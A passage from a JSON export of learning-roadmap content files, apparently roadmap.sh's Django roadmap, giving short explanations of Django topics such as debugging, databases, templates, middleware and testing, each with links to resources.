    "content": "# PDB and IPDB\n\nPDB (Python Debugger) is an interactive source code debugger for Python programs. It allows you to pause your program during execution, inspect variables, step through code line by line, and set breakpoints. IPDB is an enhanced version of PDB that uses IPython, providing features like tab completion, syntax highlighting, and better introspection capabilities, making the debugging process more efficient and user-friendly.\n\nVisit the following resources to learn more:\n\n- [@official@pdb](https://docs.python.org/3/library/pdb.html)\n- [@official@ipdb](vhttps://pypi.org/project/ipdb/)\n- [@article@Python Debugging With Pdb](https://realpython.com/python-debugging-pdb/)\n- [@article@Debugging Python Apps: A Comprehensive Guide to pdb](https://sunscrapers.com/blog/python-debugging-guide-pdb/)\n- [@article@A Guide to Debugging Python Code with ipdb](https://betterstack.com/community/guides/scaling-python/python-debugging/)\n- [@video@python debugger crash course: pdb / breakpoint (beginner - intermediate) anthony explains #097](https://www.youtube.com/watch?v=0LPuG825eAk)\n- [@video@How to use ipdb the interactive python debugger](https://www.youtube.com/watch?v=EnC9ciDkXqA)"
  },
  {
    "path": "src/data/roadmaps/django/content/postgresql@ykgvgR6YE_-V1LAtr0DvU.md",
    "content": "# PostgreSQL in Django\n\nPostgreSQL is an open-source, advanced relational database management system (RDBMS) known for its reliability, data integrity, and adherence to standards. It offers a wide range of features, including support for complex data types, advanced indexing, and transactional integrity, making it a robust choice for managing structured data. Django fully supports PostgreSQL as one of its primary database backends.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated PostgreSQL Roadmap](https://roadmap.sh/postgresql-dba)\n- [@official@PostgreSQL Notes](https://docs.djangoproject.com/en/6.0/ref/databases/#postgresql-notes)\n- [@article@Complete Tutorial: Set-up PostgreSQL Database with Django Application](https://medium.com/django-unleashed/complete-tutorial-set-up-postgresql-database-with-django-application-d9e789ffa384)\n- [@article@Connect to Database](https://www.w3schools.com/django/django_db_connect.php)\n- [@video@Django PostgreSQL | Django PostgreSQL Database Setup](https://www.youtube.com/watch?v=FlzfWgVZuyY)\n- [@video@Easiest Way To Connect Django To A Postgres Database](https://www.youtube.com/watch?v=HEV1PWycOuQ)"
  },
  {
    "path": "src/data/roadmaps/django/content/production-checklist@PsDSs7qC_M3l-Ang1wTZe.md",
    "content": "# Production Checklist\n\nA production checklist is a structured list of tasks and configurations that need to be verified and completed before deploying a Django application to a live, production environment. It ensures that the application is secure, performant, and reliable for end-users by covering aspects like security settings, database configurations, static file handling, and monitoring setup.\n\nVisit the following resources to learn more:\n\n- [@official@Deployment checklist](https://docs.djangoproject.com/en/6.0/howto/deployment/checklist/)\n- [@article@The Django Deployment Checklist: Zero to Production in 30 Minutes](https://medium.com/@anas-issath/the-django-deployment-checklist-zero-to-production-in-30-minutes-50d176a96560)"
  },
  {
    "path": "src/data/roadmaps/django/content/projects--apps@d0JBAP2Sot-u4diwqDYIq.md",
    "content": "# Projects & Apps\n\nIn Django, a project is a collection of settings and configurations for a particular website or web application. An app, on the other hand, is a modular, reusable component that performs a specific function within that project, like handling user authentication, managing blog posts, or processing payments. A project can contain multiple apps, and an app can be used in multiple projects.\n\nVisit the following resources to learn more:\n\n- [@official@Writing your first Django app, part 1](https://docs.djangoproject.com/en/6.0/intro/tutorial01/)\n- [@official@Django Create Project](https://www.w3schools.com/django/django_create_project.php)\n- [@video@How to Create Frist Django Project in Visual Studio Code (2024)](https://www.youtube.com/watch?v=fxcOtcYYqA0)"
  },
  {
    "path": "src/data/roadmaps/django/content/protecting-views@HuciFgMerqPADqEaaIwdd.md",
    "content": "# Protecting Views\n\nProtecting views in Django involves restricting access to certain parts of your web application based on user authentication and authorization. This ensures that only logged-in users, or users with specific permissions, can access sensitive data or perform certain actions. It's a fundamental aspect of web security, preventing unauthorized access and maintaining data integrity."
  },
  {
    "path": "src/data/roadmaps/django/content/pytest@K2dNQ69laFT853CFniJrZ.md",
    "content": "# pytest\n\npytest is a popular Python testing framework that simplifies writing and running tests. It offers features like auto-discovery of test functions, simple assertion syntax, extensive plugin support, and detailed error reporting. pytest aims to make testing more efficient and readable, allowing developers to focus on verifying the correctness of their code.\n\nVisit the following resources to learn more:\n\n- [@official@pytest docs](https://docs.pytest.org/en/stable/)\n- [@official@pytest-django Documentation](https://pytest-django.readthedocs.io/en/latest/)\n- [@opensource@pytest](https://github.com/pytest-dev/pytest)\n- [@article@Hands On Guide to Unit Testing with Pytest and Django](https://klementomeri.medium.com/path-to-tight-sleep-with-test-automation-81916b567745)\n- [@article@How to Use Pytest for Unit Testing](https://www.datacamp.com/tutorial/pytest-tutorial-a-hands-on-guide-to-unit-testing)\n- [@video@Pytest Mastery with Django](https://www.youtube.com/watch?v=LYX6nlECcro&list=PLOLrQ9Pn6caw3ilqDR8_qezp76QuEOlHY)\n- [@video@Re-Write Django tests with pytest | pytest fixtures & test functions](https://www.youtube.com/watch?v=pdatgYDXmSE)"
  },
  {
    "path": "src/data/roadmaps/django/content/query-optimization@u2bq7WaT2aSbrSaa0yB86.md",
    "content": "# Query Optimization\n\nQuery optimization is the process of improving the efficiency of database queries to reduce execution time and resource consumption. It involves analyzing queries, identifying bottlenecks, and applying techniques like indexing, query rewriting, and caching to minimize the amount of data processed and the number of database operations performed. The goal is to make queries run faster and more efficiently, leading to improved application performance and scalability.\n\nVisit the following resources to learn more:\n\n- [@official@Database access optimization](https://docs.djangoproject.com/en/6.0/topics/db/optimization/)\n- [@article@Django Query Optimization - Defer, Only, and Exclude](https://testdriven.io/blog/django-query-optimization/)\n- [@article@Fine-Tuning Django ORM: Proven Optimization Techniques](https://medium.com/simform-engineering/django-orm-optimization-5763f3915365)\n- [@video@Django Query Optimization / select_related & prefetch_related / django-debug-toolbar / N+1 Problem](https://www.youtube.com/watch?v=a3dTy8RO5Ho)"
  },
  {
    "path": "src/data/roadmaps/django/content/querying-data@8ud6LNbixJEP1It9AUMB7.md",
    "content": "# Querying Data with Django ORM\n\nThe Django ORM (Object-Relational Mapper) provides a powerful and convenient way to interact with your database. Instead of writing raw SQL queries, you use Python code to retrieve data from your models. This involves using methods like `filter()`, `get()`, `all()`, and `exclude()` on your model's manager (usually `objects`) to specify the conditions for the data you want to retrieve. These methods return QuerySets, which are lazy-evaluated collections of model instances that match your criteria.\n\nVisit the following resources to learn more:\n\n- [@official@Making Queries](https://docs.djangoproject.com/en/6.0/topics/db/queries/#retrieving-objects)\n- [@article@An introduction to the Django ORM](https://opensource.com/article/17/11/django-orm)\n- [@video@Django ORM Mastery Series](https://www.youtube.com/playlist?list=PLOLrQ9Pn6cazjoDEnwzcdWWf4SNS0QZml)"
  },
  {
    "path": "src/data/roadmaps/django/content/raw-sql@7rCNwoQW2lI7xxMUP_ESa.md",
    "content": "# Raw SQL Queries\n\nRaw SQL queries in Django allow you to bypass the Django ORM and write SQL statements directly. This is useful when you need to optimize performance, access database-specific features not supported by the ORM, or execute complex queries that are difficult to express using the ORM's query API. It provides a way to interact with the database at a lower level, giving you more control over the generated SQL.\n\nVisit the following resources to learn more:\n\n- [@official@Performing raw SQL queries](https://docs.djangoproject.com/en/6.0/topics/db/sql/)\n- [@article@Django Running Raw Queries](https://www.scaler.com/topics/django/django-running-raw-queries/)\n- [@video@Django ORM - Performing raw SQL queries](https://www.youtube.com/watch?v=iWDvsMOngxk)"
  },
  {
    "path": "src/data/roadmaps/django/content/regex-paths@DbJ1BIOoerkCH4P95Z7wD.md",
    "content": "# Regex Paths\n\nRegular expression paths in Django provide a powerful and flexible way to define URL patterns. Instead of using simple string matching, you can use regular expressions to capture specific parts of the URL and pass them as arguments to your view functions. This allows you to create dynamic and complex URL structures that can handle a wide range of user requests.\n\nVisit the following resources to learn more:\n\n- [@official@Using regular expressions](https://docs.djangoproject.com/en/6.0/topics/http/urls/#using-regular-expressions)\n- [@article@Understanding Django URL patterns](https://www.hostinger.com/my/tutorials/django-url-patterns)\n- [@article@How Django URLs work with Regular Expressions](https://www.codingforentrepreneurs.com/blog/how-django-urls-work-with-regular-expressions)\n- [@video@How Django URLs work with Regular Expressions](https://www.youtube.com/watch?v=8rExil_EWtk)\n- [@video@Learning Django - How to use url mapping with regexp (regular expression) in Django](https://www.youtube.com/watch?v=5zJ3LPWlfqU)"
  },
  {
    "path": "src/data/roadmaps/django/content/reguex-paths@DbJ1BIOoerkCH4P95Z7wD.md",
    "content": "# Regex Paths\n\nRegular expression paths in Django provide a powerful and flexible way to define URL patterns. Instead of using simple string matching, you can use regular expressions to capture specific parts of the URL and pass them as arguments to your view functions. This allows you to create dynamic and complex URL structures that can handle a wide range of user requests.\n\nVisit the following resources to learn more:\n\n- [@official@Using regular expressions](https://docs.djangoproject.com/en/6.0/topics/http/urls/#using-regular-expressions)\n- [@article@Understanding Django URL patterns](https://www.hostinger.com/my/tutorials/django-url-patterns)\n- [@article@How Django URLs work with Regular Expressions](https://www.codingforentrepreneurs.com/blog/how-django-urls-work-with-regular-expressions)\n- [@video@How Django URLs work with Regular Expressions](https://www.youtube.com/watch?v=8rExil_EWtk)\n- [@video@Learning Django - How to use url mapping with regexp (regular expression) in Django](https://www.youtube.com/watch?v=5zJ3LPWlfqU)"
  },
  {
    "path": "src/data/roadmaps/django/content/rendering-templates@zcfaGdMJEUAl5F9GhieaU.md",
    "content": "# Rendering Templates\n\nRendering templates in Django involves combining data with a template file (usually written in HTML) to produce a final HTML output that is sent to the user's browser. This process allows developers to dynamically generate web pages, incorporating data from the server-side into the client-side presentation. Django's template engine provides a powerful and flexible way to separate the presentation logic from the application's business logic."
  },
  {
    "path": "src/data/roadmaps/django/content/request-reponse-flow@ftFF3oFfqpKvjQhXk3bWw.md",
    "content": "# Request-Response Flow in Django\n\nThe request-response flow describes how a web application handles incoming requests from users and generates appropriate responses. When a user interacts with a website (e.g., clicks a link or submits a form), their browser sends a request to the server. The server then processes this request, potentially interacting with a database or other resources, and ultimately sends back a response to the user's browser, which then renders the content for the user to see.\n\nVisit the following resources to learn more:\n\n- [@official@Request and response objects](https://docs.djangoproject.com/en/6.0/ref/request-response/)\n- [@article@Django Request-Response Cycle?](https://medium.com/@developerstacks/django-request-response-cycle-7165167f54c5)\n- [@article@Django Request Life Cycle Explained](https://dev.to/nilebits/django-request-life-cycle-explained-ci6)\n- [@video@Python Django Course | Understanding the Django Request Response Cycle](https://www.youtube.com/watch?v=9X83BZ1cF7o)\n- [@video@09 - Django Request Response Cycle | Official Django Polls Companion Videos](https://www.youtube.com/watch?v=TRZtGJP-BTc)"
  },
  {
    "path": "src/data/roadmaps/django/content/reverse-url@KlEgfzfkPu0O43tJIsU3H.md",
    "content": "# Reverse URL\n\nReverse URL resolution is the process of generating URLs from their names and arguments, instead of hardcoding them directly into your templates or views. This allows you to make changes to your URL patterns without having to update every part of your application that uses those URLs. By using named URL patterns, you can dynamically construct URLs based on the current configuration, making your application more maintainable and flexible.\n\nVisit the following resources to learn more:\n\n- [@official@Reverse resolution of URLs](https://docs.djangoproject.com/en/6.0/topics/http/urls/#reverse-resolution-of-urls)\n- [@article@Django Reverse](https://www.scaler.com/topics/django/django-reverse/)\n- [@video@45 - Django URLs Reverse - Python & Django 3.2 Tutorial Series](https://www.youtube.com/watch?v=rm2YTMc2s10)"
  },
  {
    "path": "src/data/roadmaps/django/content/routers@1p5abgLJ31IRTUiFwbeSa.md",
    "content": "# Routers in Django REST Framework\n\nRouters in Django REST Framework (DRF) provide an automated way to generate URL patterns for your API views. Instead of manually defining URLs for common API actions like listing, creating, retrieving, updating, and deleting resources, routers handle this automatically based on the viewsets you define. This simplifies URL configuration and promotes consistency across your API.\n\nVisit the following resources to learn more:\n\n- [@official@Routers](https://www.django-rest-framework.org/api-guide/routers/)\n- [@article@Django REST Framework: ViewSets and Routers Explained (Part 2)](https://medium.com/@michal.drozdze/django-rest-framework-viewsets-and-routers-explained-part-2-4d866a0ab5e1)\n- [@video@Viewsets & Routers in Django REST Framework](https://www.youtube.com/watch?v=4MrB4IvW6Ow)"
  },
  {
    "path": "src/data/roadmaps/django/content/routing-middleware@kVhW3uJawiK1waW-2Gk7F.md",
    "content": "# Routing Middleware\n\nMiddleware in Django is a framework of hooks into Django's request/response processing. It's a layer of code that sits between the web server and your Django views, processing every request and response in your application. This allows you to modify the request before it reaches your view, or modify the response before it's sent to the user, enabling functionalities like authentication, session management, and request logging.\n\nVisit the following resources to learn more:\n\n- [@official@Middleware](https://docs.djangoproject.com/en/6.0/topics/http/middleware/)\n- [@article@Understanding Django Middleware: How to Create Custom Middleware](https://medium.com/@farad.dev/understanding-django-middleware-how-to-create-custom-middleware-789744722df3)\n- [@video@Writing Django Middleware (with tests!) | HTMX middleware | IP Blacklist middleware](https://www.youtube.com/watch?v=--ddZc39wVQ)"
  },
  {
    "path": "src/data/roadmaps/django/content/running-your-project@QJJh0Dl4IT_I3_eACrStj.md",
    "content": "# Running Your Django Project\n\nRunning a Django project involves starting a local development server that allows you to view and interact with your web application in a browser. This server listens for incoming requests and serves the appropriate content, enabling you to test and debug your project during development. It's a crucial step in the Django development workflow, allowing you to see your code in action.\n\nVisit the following resources to learn more:\n\n- [@official@Writing your first Django app, part 1](https://docs.djangoproject.com/en/6.0/intro/tutorial01/)\n- [@article@Django Create Project](https://www.w3schools.com/django/django_create_project.php)\n- [@video@How to Start a Django Project and Run the Development Server](https://www.youtube.com/watch?v=PBh6XkFobes)\n- [@video@How to Create Frist Django Project in Visual Studio Code (2024)](https://www.youtube.com/watch?v=fxcOtcYYqA0)"
  },
  {
    "path": "src/data/roadmaps/django/content/ruouting-middleware@kVhW3uJawiK1waW-2Gk7F.md",
    "content": "# Routing Middleware\n\nMiddleware in Django is a framework of hooks into Django's request/response processing. It's a layer of code that sits between the web server and your Django views, processing every request and response in your application. This allows you to modify the request before it reaches your view, or modify the response before it's sent to the user, enabling functionalities like authentication, session management, and request logging.\n\nVisit the following resources to learn more:\n\n- [@official@Middleware](https://docs.djangoproject.com/en/6.0/topics/http/middleware/)\n- [@article@Understanding Django Middleware: How to Create Custom Middleware](https://medium.com/@farad.dev/understanding-django-middleware-how-to-create-custom-middleware-789744722df3)\n- [@video@Writing Django Middleware (with tests!) | HTMX middleware | IP Blacklist middleware](https://www.youtube.com/watch?v=--ddZc39wVQ)"
  },
  {
    "path": "src/data/roadmaps/django/content/serializers@aJ0jM_zjUJkt0wVfJQYt7.md",
    "content": "# Serializers\n\nSerializers in Django REST Framework transform complex data, like querysets and model instances, into Python datatypes that can be easily rendered into JSON, XML, or other content types. They also handle the reverse process, allowing parsed data to be converted back into model instances after validation. This makes them essential for building RESTful APIs that can both receive and send data in a structured and manageable way.\n\nVisit the following resources to learn more:\n\n- [@official@Serializers](https://www.django-rest-framework.org/api-guide/serializers/)\n- [@official@Tutorial 1: Serialization](https://www.django-rest-framework.org/tutorial/1-serialization/)\n- [@official@Serializer relations](https://www.django-rest-framework.org/api-guide/relations/)\n- [@article@Effectively Using Django REST Framework Serializers](https://testdriven.io/blog/drf-serializers/)\n- [@video@Django Rest Framework | Serializers & CRUD](https://www.youtube.com/watch?v=TmsD8QExZ84)\n- [@video@Django REST Framework- Nested Serializers, SerializerMethodField and Serializer Relations](https://www.youtube.com/watch?v=KfSYadIFHgY)"
  },
  {
    "path": "src/data/roadmaps/django/content/setting-up-the-database@yRaVL7FoWcHb2A8uz5TV8.md",
    "content": "# Database Setup in Django\n\nSetting up the database in Django involves configuring your project to connect to and interact with a specific database management system (DBMS). This process includes specifying the database type (e.g., PostgreSQL, MySQL, SQLite), providing connection details like the database name, username, password, and host, and ensuring that Django can communicate with the database to store and retrieve data for your application.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated SQL Roadmap](https://roadmap.sh/sql)\n- [@official@Databases](https://docs.djangoproject.com/en/6.0/ref/databases/)\n- [@official@Writing your first Django app, part 2](https://docs.djangoproject.com/en/6.0/intro/tutorial02/)\n- [@video@Django Tutorial #4 - Database Setup](https://www.youtube.com/watch?v=DZVFgMSyRXI)"
  },
  {
    "path": "src/data/roadmaps/django/content/settingspy@_RRCcJpO33XAgdsBzJdY9.md",
    "content": "# settings.py\n\n`settings.py` is a crucial Python module in a Django project that contains global configurations and settings for the entire application. It defines things like database connections, installed apps, middleware, template locations, and security settings. This file essentially acts as the central control panel for your Django project, allowing you to customize its behavior and functionality.\n\nVisit the following resources to learn more:\n\n- [@official@Django settings](https://docs.djangoproject.com/en/6.0/topics/settings/)\n- [@official@Settings](https://docs.djangoproject.com/en/6.0/ref/settings/)\n- [@article@Understanding Django's settings.py File: A Comprehensive Guide for Beginners](https://dev.to/rupesh_mishra/understanding-djangos-settingspy-file-a-comprehensive-guide-for-beginners-35e2)\n- [@article@Understanding Django's settings.py: A Deep Dive](https://lavishchhatwani.com/f/understanding-djangos-settingspy-a-deep-dive)\n- [@video@settings.py configuration in django | django settings.py explained | django full tutorial | #04](https://www.youtube.com/watch?v=uGcmzeU1tmQ)"
  },
  {
    "path": "src/data/roadmaps/django/content/signals@gPy4yi6smV4gcRj_WCqYR.md",
    "content": "# Signals\n\nSignals in Django allow certain actions to be triggered when specific events occur in your application. Think of them as a way to let different parts of your code communicate with each other without being directly linked. When a particular event happens (like a model being saved or deleted), a signal is sent out, and any functions that are connected to that signal will be executed. This provides a decoupled way to perform tasks in response to events throughout your Django project.\n\nVisit the following resources to learn more:\n\n- [@official@Signals](https://docs.djangoproject.com/en/6.0/topics/signals/)\n- [@official@Signal List](https://docs.djangoproject.com/en/6.0/ref/signals/)\n- [@article@How to Use Django Signals in Your Projects](https://www.freecodecamp.org/news/how-to-use-django-signals-in-your-projects/)\n- [@video@Django Signals - Introduction!](https://www.youtube.com/watch?v=8p4M-7VXhAU)\n- [@video@Django Signals](https://www.youtube.com/watch?v=rEX50LJrFuU&list=PL0efIqwJO9kDGQ34csSYNSm2udR4kOrdb)"
  },
  {
    "path": "src/data/roadmaps/django/content/sqlite@o6qNq8D_gwC5UrkKjz57o.md",
    "content": "# SQLite in Django\n\nSQLite is a self-contained, serverless, zero-configuration, transactional SQL database engine. It's embedded directly into the application, meaning it doesn't require a separate server process to operate. This makes it a lightweight and convenient choice for development, testing, and small-scale Django projects.\n\nVisit the following resources to learn more:\n\n- [@official@SQLite notes](https://docs.djangoproject.com/en/6.0/ref/databases/#sqlite-notes)\n- [@article@The definitive guide to using Django with SQLite in production](https://alldjango.com/articles/definitive-guide-to-using-django-sqlite-in-production)\n- [@article@“Using SQLite as a Database Backend in Django Projects” ||Code with Bushra](https://medium.com/@codewithbushra/using-sqlite-as-a-database-backend-in-django-projects-code-with-bushra-d23e3100686e)\n- [@video@Django Tutorial - SQLite3 DataBase Tutorial](https://www.youtube.com/watch?v=UxTwFMZ4r5k)\n- [@video@Django Part 3: Sqlite3 Database and Migrations](https://www.youtube.com/watch?v=RzkVbz7Ie44)"
  },
  {
    "path": "src/data/roadmaps/django/content/static-files@MJIQZoLMiURPrhqMUddG7.md",
    "content": "# Static Files\n\nStatic files in web development refer to the unchanging assets that make up the user interface of a website, such as images, CSS stylesheets, JavaScript files, and fonts. These files are served directly to the user's browser without requiring any server-side processing, contributing to the overall look, feel, and functionality of the website.\n\nVisit the following resources to learn more:\n\n- [@official@How to manage static files (e.g. images, JavaScript, CSS)](https://docs.djangoproject.com/en/6.0/howto/static-files/)\n- [@article@Working with Static and Media Files in Django](https://testdriven.io/blog/django-static-files/)\n- [@article@Django - Add Static File](https://www.w3schools.com/django/django_add_static_files.php)\n- [@video@Django Tutorial #8 - Static Assets](https://www.youtube.com/watch?v=kJJx77PYMFA)"
  },
  {
    "path": "src/data/roadmaps/django/content/static@k7aMrFNIY11_bD_XwVLv7.md",
    "content": "# Static Files\n\nWithin a Django project, the `static` folder is where you store static files like CSS stylesheets, JavaScript files, images, and fonts. These files are essential for styling and adding interactivity to your web application's user interface. Django needs to know where to find these files to serve them correctly to the browser, and the `static` folder, usually located within each app directory, provides a standardized location for this purpose.\n\nVisit the following resources to learn more:\n\n- [@official@How to manage static files (e.g. images, JavaScript, CSS)](https://docs.djangoproject.com/en/6.0/howto/static-files/)\n- [@article@Working with Static and Media Files in Django](https://testdriven.io/blog/django-static-files/)"
  },
  {
    "path": "src/data/roadmaps/django/content/tags--custom-tags@W2v9_4sn5aoZjxMKOQTcw.md",
    "content": "# Tags & Custom Tags\n\nTags are control structures that Django's template engine uses to perform actions like looping, variable assignment, or conditional logic within templates. Custom tags allow developers to extend the template language by defining their own tags to perform specific tasks or render complex data in a reusable way.\n\nVisit the following resources to learn more:\n\n- [@official@Built-in template tags and filters](https://docs.djangoproject.com/en/6.0/ref/templates/builtins/)\n- [@official@How to create custom template tags and filters](https://docs.djangoproject.com/en/6.0/howto/custom-template-tags/)\n- [@article@Django Templates: Implementing Custom Tags and Filters](https://realpython.com/django-template-custom-tags-filters/)\n- [@article@Understanding and Implementing Custom Template Tags in Django](https://dev.to/3bdelrahman/understanding-and-implementing-custom-template-tags-in-django-5cao)\n- [@video@Django Tutorial #10 - Template Tags](https://www.youtube.com/watch?v=RCE3VUpzGw0)\n- [@video@Python Django template tags, filters and custom template tags](https://www.youtube.com/watch?v=rs_mR-b9xys)"
  },
  {
    "path": "src/data/roadmaps/django/content/template-inheritance@4j0fCRER1a_c7FY06Q68h.md",
    "content": "# Template Inheritance\n\nTemplate inheritance in Django allows you to build a base \"skeleton\" template that contains all the common elements of your site (like the header, footer, and navigation). Child templates can then extend this base template and override specific blocks of content, filling in the unique parts for each page while reusing the common structure. This promotes code reusability and maintainability by avoiding repetition across your website's templates.\n\nVisit the following resources to learn more:\n\n- [@official@Template Inheritance](https://docs.djangoproject.com/en/6.0/ref/templates/language/#id1)\n- [@article@Understanding Django template inheritance](https://dev.to/doridoro/understanding-django-template-inheritance-d8c)\n- [@article@extends Template Tag](https://www.w3schools.com/django/ref_tags_extends.php)\n- [@video@Django Template Inheritance Explained](https://www.youtube.com/watch?v=mxbzt7wodAs)"
  },
  {
    "path": "src/data/roadmaps/django/content/templates@YLvdL6lwZk2vlMK7QaTk7.md",
    "content": "# Templates\n\nThe `templates` folder in a Django project is where you store your HTML files. These HTML files define the structure and content of your web pages. Django uses a template engine to dynamically insert data from your Python code into these HTML files before sending them to the user's browser. This allows you to create dynamic and personalized web pages.\n\nVisit the following resources to learn more:\n\n- [@official@Templates](https://docs.djangoproject.com/en/6.0/topics/templates/)\n- [@article@The Ultimate Guide to Django Templates](https://blog.jetbrains.com/pycharm/2025/02/the-ultimate-guide-to-django-templates/)"
  },
  {
    "path": "src/data/roadmaps/django/content/templates@v5skymtqU7PmMuBsl-1rX.md",
    "content": "# Templates\n\nTemplates are text files that separate the presentation of your application from its Python code. They contain placeholders (variables) and logic (template tags) that are evaluated when the template is rendered, dynamically generating HTML or other text-based formats. This allows you to create dynamic web pages by inserting data from your Django application into a predefined structure.\n\nVisit the following resources to learn more:\n\n- [@official@Templates](https://docs.djangoproject.com/en/6.0/topics/templates/)\n- [@article@The Ultimate Guide to Django Templates](https://blog.jetbrains.com/pycharm/2025/02/the-ultimate-guide-to-django-templates/)\n- [@article@Django Templates](https://www.w3schools.com/django/django_templates.php)\n- [@video@Python Django Tutorial: Full-Featured Web App Part 3 - Templates](https://www.youtube.com/watch?v=qDwdMDQ8oX4)\n- [@video@Django Tutorial - Templates & Custom HTML](https://www.youtube.com/watch?v=b0CgA_Ap_Mc)"
  },
  {
    "path": "src/data/roadmaps/django/content/testspy@g-KGkdGeCJQe6NMe82gR8.md",
    "content": "# tests.py\n\n`tests.py` is a Python file within a Django app's directory that is dedicated to containing tests for that specific app. It allows developers to write and execute automated tests to ensure the app's functionality works as expected, covering various aspects like models, views, and forms. These tests help prevent bugs, ensure code quality, and facilitate easier refactoring and maintenance.\n\nVisit the following resources to learn more:\n\n- [@official@Writing and running tests](https://docs.djangoproject.com/en/6.0/topics/testing/overview/)\n- [@video@Testing in Django Tutorial #4 - Django Testing Basics](https://www.youtube.com/watch?v=QklKI2etw30)"
  },
  {
    "path": "src/data/roadmaps/django/content/the-mcv-model@CXrUh4hBN7fhXShUhtO5n.md",
    "content": "# The MCV Model\n\nThe Model-View-Controller (MVC) architectural pattern separates an application into three interconnected parts. The Model manages data and business logic, the View displays data to the user, and the Controller handles user input and updates the Model. Django uses a slightly modified version called Model-Template-View (MTV), where the Template is the presentation layer (like the View in MVC), and the View handles the logic of what data to display (like the Controller in MVC). Django's framework structure naturally encourages this separation of concerns, making it easier to develop and maintain complex web applications."
  },
  {
    "path": "src/data/roadmaps/django/content/the-mvc-model@CXrUh4hBN7fhXShUhtO5n.md",
    "content": "# The MCV Model\n\nThe Model-View-Controller (MVC) architectural pattern separates an application into three interconnected parts. The Model manages data and business logic, the View displays data to the user, and the Controller handles user input and updates the Model. Django uses a slightly modified version called Model-Template-View (MTV), where the Template is the presentation layer (like the View in MVC), and the View handles the logic of what data to display (like the Controller in MVC). Django's framework structure naturally encourages this separation of concerns, making it easier to develop and maintain complex web applications."
  },
  {
    "path": "src/data/roadmaps/django/content/transactions@OoboX9UxuQ0pgjwQZmjIV.md",
    "content": "# Transactions\n\nTransactions are a way to group a series of database operations into a single unit of work. This means that either all the operations within the transaction succeed, or none of them do. If any operation fails, the database rolls back to its previous state, ensuring data consistency and integrity. This is particularly useful when performing multiple related database updates, where a failure in one update could leave the database in an inconsistent state.\n\nVisit the following resources to learn more:\n\n- [@official@Database transactions](https://docs.djangoproject.com/en/6.0/topics/db/transactions/)\n- [@article@Understanding Django’s Transaction Atomic](https://plainenglish.io/blog/understanding-djangos-transaction-atomic)\n- [@article@Python: How Django Transactions Work](https://m-t-a.medium.com/python-how-django-transactions-work-a87083303102)\n- [@video@Django Database Transactions / atomic() function](https://www.youtube.com/watch?v=L8k8Ukw1P6U)"
  },
  {
    "path": "src/data/roadmaps/django/content/unittest--testcase@iKzWEV8ymBEh_J2ppKZjF.md",
    "content": "# unittest & TestCase\n\n`unittest` is Python's built-in testing framework, providing a standard way to write and run tests. `TestCase` is a class within `unittest` that's used as a base class for creating individual test cases. You define methods within your `TestCase` subclass that represent specific tests, using assertions to check for expected outcomes.\n\nVisit the following resources to learn more:\n\n- [@official@Writing and running tests](https://docs.djangoproject.com/en/6.0/topics/testing/overview/)\n- [@article@Django Testing with unittest](https://medium.com/@hmbarotov/django-testing-with-unittest-f797c746bfe0)\n- [@video@Testing in Django Tutorial #3 - The Python unittest Module](https://www.youtube.com/watch?v=Ob25drPBgu0)\n- [@video@Testing in Django Tutorial #4 - Django Testing Basics](https://www.youtube.com/watch?v=QklKI2etw30)"
  },
  {
    "path": "src/data/roadmaps/django/content/updateview@vS0Y5DmrAEwoQ9gblM-8Q.md",
    "content": "# UpdateView\n\nUpdateView is a class-based view in Django that simplifies the process of creating a view to handle updating an existing model instance. It provides a pre-built structure for displaying a form populated with the instance's data, processing the form submission, validating the data, and saving the updated instance to the database. This reduces the amount of boilerplate code needed for common update operations.\n\nVisit the following resources to learn more:\n\n- [@official@UpdateView](https://docs.djangoproject.com/en/6.0/ref/class-based-views/generic-editing/#django.views.generic.edit.UpdateView)\n- [@article@A Brief Look at Django’s UpdateView](https://medium.com/@zarker24/a-brief-look-at-djangos-updateview-8a732d5d2c5b)\n- [@article@Django Tutorial for Beginners - 32 - UpdateView and DeleteView](https://www.youtube.com/watch?v=5Ez2NXOX9zY)\n- [@video@Learn Django Class Based Views - UpdateView - Theory and Examples](https://www.youtube.com/watch?v=EUUjJdw3EBM)"
  },
  {
    "path": "src/data/roadmaps/django/content/url-patterns@ThYltfCyVKkKL_6jY2g-d.md",
    "content": "# URL patterns\n\nURL patterns in Django define how URLs (web addresses) are mapped to specific views (functions that handle requests). They act like a directory, telling Django which view to execute when a user visits a particular URL. Each pattern consists of a regular expression that matches a URL and a corresponding view function. When a URL matches a pattern, Django calls the associated view, passing the request object and any captured parameters from the URL.\n\nVisit the following resources to learn more:\n\n- [@official@URL dispatcher](https://docs.djangoproject.com/en/6.0/topics/http/urls/)\n- [@article@Django URLs](https://tutorial.djangogirls.org/en/django_urls/)\n- [@article@Understanding Django URL patterns](https://www.hostinger.com/in/tutorials/django-url-patterns)\n- [@video@Django Full Course - 9.0 - URL dispatcher. Basics, converters, extra parameters, include](https://www.youtube.com/watch?v=BU12twkMgEg)\n- [@video@Django Tutorial for Beginners 3 - URL dispatcher | Requests and Responses](https://www.youtube.com/watch?v=Y82NaZ2VZjE)"
  },
  {
    "path": "src/data/roadmaps/django/content/urlspy@6y3ZnxclaV6JVGhUkQMtB.md",
    "content": "# urls.py in Django Apps\n\nIn Django, the `urls.py` file within an app is responsible for defining the URL patterns for that specific app. It acts as a table of contents, mapping URL paths to specific views (functions or classes) that handle the corresponding requests. This file essentially tells Django what code to execute when a user visits a particular URL within the app's scope.\n\nVisit the following resources to learn more:\n\n- [@article@Part-2: Migrations Files in Django Framework](https://medium.com/django-unleashed/django-project-structure-a-comprehensive-guide-4b2ddbf2b6b8)\n- [@video@The Structure of a Django Application](https://www.youtube.com/watch?v=jmX27FrCqqs)"
  },
  {
    "path": "src/data/roadmaps/django/content/urlspy@b9VXaPBraxAakcwHkyRYu.md",
    "content": "# URL Configuration in Django\n\nIn a Django project, `urls.py` files are responsible for mapping URL patterns to specific views. They act as a table of contents for your website, telling Django which view function to execute when a user visits a particular URL. Essentially, they define the structure of your website's addressable locations and how Django handles requests to those locations.\n\nVisit the following resources to learn more:\n\n- [@article@Django URLs](https://www.w3schools.com/django/django_urls.php)\n- [@article@Django URLs](https://tutorial.djangogirls.org/en/django_urls/)"
  },
  {
    "path": "src/data/roadmaps/django/content/users--permissions@hxVeLMj_jQYPNqMPcT8FW.md",
